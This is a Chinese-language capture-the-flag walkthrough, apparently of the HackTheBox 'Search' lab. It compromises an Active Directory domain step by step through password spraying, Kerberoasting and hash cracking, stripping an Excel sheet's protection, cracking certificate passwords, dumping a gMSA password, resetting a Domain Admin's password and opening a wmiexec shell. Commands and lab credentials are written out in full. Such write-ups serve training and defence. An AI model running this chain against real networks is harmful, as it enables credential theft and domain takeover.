Search
初始权限获取(ldapdomaindump可视化ldapsearch结果)
https://juejin.cn/s/how%20to%20open%20xlsx%20file%20in%20kali%20linux
如何将 JSON 文件转换为 Microsoft Excel|微软|编辑器|json|文件名_网易订阅
如何将 JSON 文件转换为 Microsoft Excel
GitHub - 0xZDH/BridgeKeeper: Scrape, Hunt, and Transform names and usernames 将已生成的名称列表转换为用户名:
它显示“将密码发送给 Hope Sharp”,下一行显示IsolationIsKey?。这可能是用户名,也可能是密码。
X-Powered-By
头显示ASP.NET
,这意味着我应该期待.aspx
文件。
目录爆破一下
feroxbuster -u http://10.10.11.129 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt
这个字典可以查找查找 IIS 特定的东西
目录/certsrv
和/certenroll
表明该服务器是证书颁发机构的一部分。
访问/certsrv
请求身份验证,/certenroll
只返回403。
枚举一下smb,没有凭据是失败的
根据上面的web页面获得的可能用户创建Hope Sharp的可能用户列表
hope hope.sharp hopesharp .................
crackmapexec smb 10.10.11.129 -u hope.txt -p IsolationIsKey? --continue-on-success
获得账号密码接着去枚举smb
smbmap -u hope.sharp -p IsolationIsKey? -H 10.10.11.129 --no-banner
smbclient //10.10.11.129/RedirectedFolders$ -U hope.sharp 这里面有一些用户名
接下来尝试ldapsearch
ldapsearch -h 10.10.11.129 -x -b "DC=search,DC=htb"
加凭据枚举ldapsearch -h 10.10.11.129 -D 'hope.sharp@search.htb' -w "IsolationIsKey?" -b "DC=search,DC=htb"
东西很多,利用 ldapdomaindump可视化 LDAP 数据
ldapdomaindump -u search.htb\hope.sharp -p 'IsolationIsKey?' 10.10.11.129 -o ldap/
创建一堆 HTML、Json 和可 grep 格式的文件
利用
bloodhound-python -u hope.sharp -p IsolationIsKey? -d search.htb -c All -ns 10.10.11.129
没有什么有趣的
看看List all Kerberoastable Accounts有没有可以利用Kerberoastable的
GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/hope.sharp -outputfile web_svc.hash
hashcat -m 13100 web_svc.hash /usr/share/wordlists/rockyou.txt
web_svc @3ONEmillionbaby
再在bloodhound里查看一下没有什么可利用的
下面尝试一下看有没有密码复用
下面这一句话可以将json中的user提取出来
https://www.youtube.com/watch?v=cChCGrBNqFg&t=23s 这个视频打完后食用
cat domain_users.json | jq -r '.[].attributes.sAMAccountName[]' > ../users.txt
crackmapexec smb 10.10.11.129 -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'
Edgar.Jacobs
获得 Hope.Sharp:IsolationIsKey? Edgar.Jacobs:@3ONEmillionbaby
接着利用bloodhound
点击Transitive Object control
没有什么可以利用的
用户1获取(取消execl的密码保护,crackmapexec的--no-bruteforce
参数使用)
smb登入
开始枚举,在
smbclient //10.10.11.129/RedirectedFolders$ '@3ONEmillionbaby' -U edgar.jacobs
是有东西的
smb: \edgar.jacobs> get Desktop\Phishing_Attempt.xlsx
capture里面有东西
libreoffice Phishing_Attempt.xlsx 打开查看文件
(这个是表2)
C 列被隐藏,尝试取消隐藏它会弹出:(双击黑线)
Unprotect Excel Sheet [Remove Excel Password in 5 Mins] Unprotect Excel Sheet Online 如何取消execl的密码保护
先新建一个文件夹,把xlsx文件放进去
现代 Office 文档只是内部包含 XML 文件的 Zip 存档。我将解压缩该文件:
oxdf@hacky$ unzip Phishing_Attempt.xlsx Archive: Phishing_Attempt.xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: xl/workbook.xml inflating: xl/_rels/workbook.xml.rels inflating: xl/worksheets/sheet1.xml inflating: xl/worksheets/sheet2.xml inflating: xl/theme/theme1.xml inflating: xl/styles.xml inflating: xl/sharedStrings.xml inflating: xl/drawings/drawing1.xml inflating: xl/charts/chart1.xml inflating: xl/charts/style1.xml inflating: xl/charts/colors1.xml inflating: xl/worksheets/_rels/sheet1.xml.rels inflating: xl/worksheets/_rels/sheet2.xml.rels inflating: xl/drawings/_rels/drawing1.xml.rels inflating: xl/charts/_rels/chart1.xml.rels inflating: xl/printerSettings/printerSettings1.bin inflating: xl/printerSettings/printerSettings2.bin inflating: xl/calcChain.xml inflating: docProps/core.xml inflating: docProps/app.xml
每个工作表都有一个 .xml 格式的 XML 文件xl/worksheets/
。数据本身不受保护。只有一个密码可以防止修改(例如查看数据)。数据本身未加密。网上有很多像这样的教程,解释如何删除这种保护。
有关保护的信息位于xl/worksheets/sheet2.xml
:
具体来说就是这个标签:
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" sce
接下来就是要将这段删除掉
cp Phishing_Attempt.xlsx Phishing_Attempt-mod.zip
然后直接打开
然后利用vim打开,删除上面的那段保护代码,然后保存后提示存档管理器发出警告:我将单击“update”,现在更改已在存档中进行。现在我可以将扩展名更改回.xlsx
,并在 Libre Office 中打开它。工作表名称的锁消失了,里面是密码集合
crackmapexec
可以检查这些密码。我真的不想尝试每个用户的每个密码,而只想尝试每个用户的关联密码。这条推文表明,这个不直观的命名--no-bruteforce
选项将做到这一点:
crackmapexec smb 10.10.11.129 -u xlsx_users.txt -p xlsx_passwords.txt --no-bruteforce --continue-on-success
Sierra.Frye 与$$49=wide=STRAIGHT=jordan=28$$18
.
另外一种方法(火狐证书的导入和破解密码)
Sierra 的文件夹中还有Downloads\Backups
,其中包含证书:search-RESEARCH-CA.p12 , staff.pfx
下载到本地
在火狐的preferences有一个证书管理器。在“您的证书”下,点击“导入…”
两个都需要密码
破解密码
pfx2john.py search-RESEARCH-CA.p12 > search-RESEARCH-CA.p12.hash
pfx2john.py staff.pfx > staff.pfx.hash
john -w=/usr/share/wordlists/rockyou.txt staff.pfx.hash
john -w=/usr/share/wordlists/rockyou.txt search-RESEARCH-CA.p12.hash
两者的密码都是“misspissy”。
将两者都导入到 Firefox 中
现在如果访问或刷新https://search.htb/staff
(必须是 HTTPS),它会要求发送证书:
单击“确定”后,Firefox 将显示一个 PowerShell Web Access 页面:
把 sierra.frye 的凭据输入到表单中,但是计算机名称不清楚,尝试search成功
这个同样可以读到User.txt
获取管理员(GMSA权限如何提权)
回到 Bloodhound,将 Sierra.Fry 标记为已拥有。点击“从拥有的原则到域管理员的最短路径”
Sierra.Frye 加入了 BIRMINGHAM-ITSEC(属于 ITSEC),因此控制了ReadGMSAPassword
BIR-ADFS-GMSA。该账户控制了GenericAll
Tristan.Davies(属于 Domain Admins)。
组托管服务帐户 (GMSA) 是 Windows 服务器通过为帐户生成长随机密码来管理帐户密码的地方。本文介绍如何创建 GMSA,以及如何管理该密码的 ACL。它还演示了如何使用 PowerShell 转储服务帐户的 GMSA 密码。我将遵循相同的步骤:
PS C:\Users\Sierra.Frye\Documents> $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword' PS C:\Users\Sierra.Frye\Documents> $mp = $gmsa.'msDS-ManagedPassword' PS C:\Users\Sierra.Frye\Documents> ConvertFrom-ADManagedPasswordBlob $mp Version : 1 CurrentPassword : ꪌ絸禔හॐ뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤 ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱茾蒚⟒澽座걍盡篇 SecureCurrentPassword : System.Security.SecureString PreviousPassword : SecurePreviousPassword : QueryPasswordInterval : 3062.06:26:26.3847903 UnchangedPasswordInterval : 3062.06:21:26.3847903
-
$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
:-
通过
Get-ADServiceAccount
cmdlet获取名为'BIR-ADFS-GMSA'的托管服务帐户的信息。 -
使用
-Properties 'msDS-ManagedPassword'
参数来获取额外的属性,其中包括msDS-ManagedPassword
,这是管理密码的属性。
-
-
$mp = $gmsa.'msDS-ManagedPassword'
:-
将管理密码属性的值存储在变量
$mp
中。这是一个二进制数据,通常以字节数组的形式存储。
-
-
ConvertFrom-ADManagedPasswordBlob $mp
:-
使用
ConvertFrom-ADManagedPasswordBlob
cmdlet将$mp
中的二进制数据转换为可读的格式。 -
这个过程涉及将二进制数据转换为ManagedPasswordBlob对象,以便更容易查看和理解管理密码的信息。
-
该CurrentPassword
字段看起来像是乱码,但这就是 GMSA 的意义所在。尽管如此,我还是可以使用它。我将其保存在一个变量中:
PS C:\Users\Sierra.Frye\Documents> (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword ꪌ絸禔හॐ뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱ 茾蒚⟒澽座걍盡篇 PS C:\Users\Sierra.Frye\Documents> $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword PS C:\Users\Sierra.Frye\Documents> $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
-
(ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
:-
使用
ConvertFrom-ADManagedPasswordBlob
cmdlet,将$mp
中的二进制数据转换为可读格式。 -
通过
.CurrentPassword
属性,提取管理密码的当前密码值。
-
-
$password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
:-
将管理密码的当前密码值存储在变量
$password
中,以便后续的处理。
-
-
$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
:-
同样使用
ConvertFrom-ADManagedPasswordBlob
cmdlet,通过.SecureCurrentPassword
属性,提取管理密码的当前密码值的安全字符串(SecureString)。 -
这个操作可能是为了以更安全的方式处理密码,SecureString 是一种加密的字符串类型,通常用于存储敏感信息。
-
完全控制 Tristan.Davies 后,将密码重置,使用上面该帐户密码创建的对象Invoke-Command
以 BIR-ADFS-GSMA$ 身份运行:PSCredential
创建新密码
PS C:\Users\Sierra.Frye\Documents> $cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPass PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText '0xdf0xdf!!!' -force)} -Credential $cred Invoke-Command 允许在远程计算机上执行命令,而不仅仅是在本地计算机上执行。 在你的示例中,通过指定 -ComputerName 127.0.0.1,你将命令发送到了本地计算机。 脚本块执行: 使用 -ScriptBlock 参数,你可以指定在远程计算机上执行的脚本块。在你的示例中,脚本块包含了设置 Active Directory 帐户密码的命令。 凭据传递: 通过 -Credential $cred 参数,你可以指定在远程计算机上执行脚本块时使用的凭据。 这对于确保在远程计算机上以正确的身份执行命令非常重要。
事实上它写着“Pwn3d!” 旁边意味着该用户是管理员,这意味着 PSexec 之类的东西将获得 shell。
wmiexec.py 'search/tristan.davies:0xdf0xdf!!!@10.10.11.129'
Set-ADAccountPassword
:
-
属于
ActiveDirectory
模块。 -
用于设置Active Directory中用户、计算机或服务帐户的密码。
-
可以在单个命令中为帐户设置密码,也支持密码重置等操作。
Set-DomainUserPassword
:
-
属于
MSOnline
模块,该模块通常与 Azure Active Directory 相关。 -
用于设置 Azure Active Directory 中用户的密码。
-
主要用于管理 Azure AD 帐户,而不是传统的本地 Active Directory。
法2
ITSEC
该用户是拥有ReadGMSAPassword
帐户权限的组的成员BIR-ADFS-GMSA
,GMSA 表示组管理服务帐户,在活动目录中,更改服务帐户密码很麻烦,因此该 gmsa 帐户负责服务帐户密码,并且它的哈希值并不容易破解是随机生成的
所以我们可以读取这个帐户的哈希值,然后使用它来登录,以便读取我gMSADumper.py
从 github使用的内容
这已经存在genericall
于该帐户上,并且Tristan.Davies
该帐户是该帐户的成员,因此我们在获得该用户后几乎可以危害域控制器,因此这很容易被滥用,因为 AD 中的所有内容都是对象,并且该用户被视为对象。我们可以设置这个对象的权限,甚至可以在不知情的情况下更改他的密码Enterprise Admin``Administrator``Domain Admin
1.
Winrm在这台机器上被完全禁用,并且在近50个用户root这台机器后被禁用,winrm不应该在这台机器上运行(至少他们在discord中告诉的),因此具有获取远程会话的功能我们可以简单地以拥有该帐户的帐户身份登录genericall
,这意味着我们可以使用该用户帐户执行任何操作,因此只需更改密码即可net user username password
现在我们可以使用 impacketsecretsdump.py
转储所有密码哈希值
2.
由于 winrm 被禁用,并且没有任何方法可以获取 shell 并通过net user
另一种方式更改密码,因为rpcclient
允许传递哈希,我们可以使用BIR-ADFS-GMSA
他的密码哈希登录并使用此命令更改密码
setuserinfo2 Tristan.Davies 23 'arzismol'
现在只需使用 impacket 的 Secretsdump.py 转储哈希值
但是 winrm 被禁用了,所以问题是我们如何获得 shell?我们可以使用crackmapexec检查是否获得“pwned”状态
我尝试过smbexec
,但psexec
都失败了,但wmiexec
成功了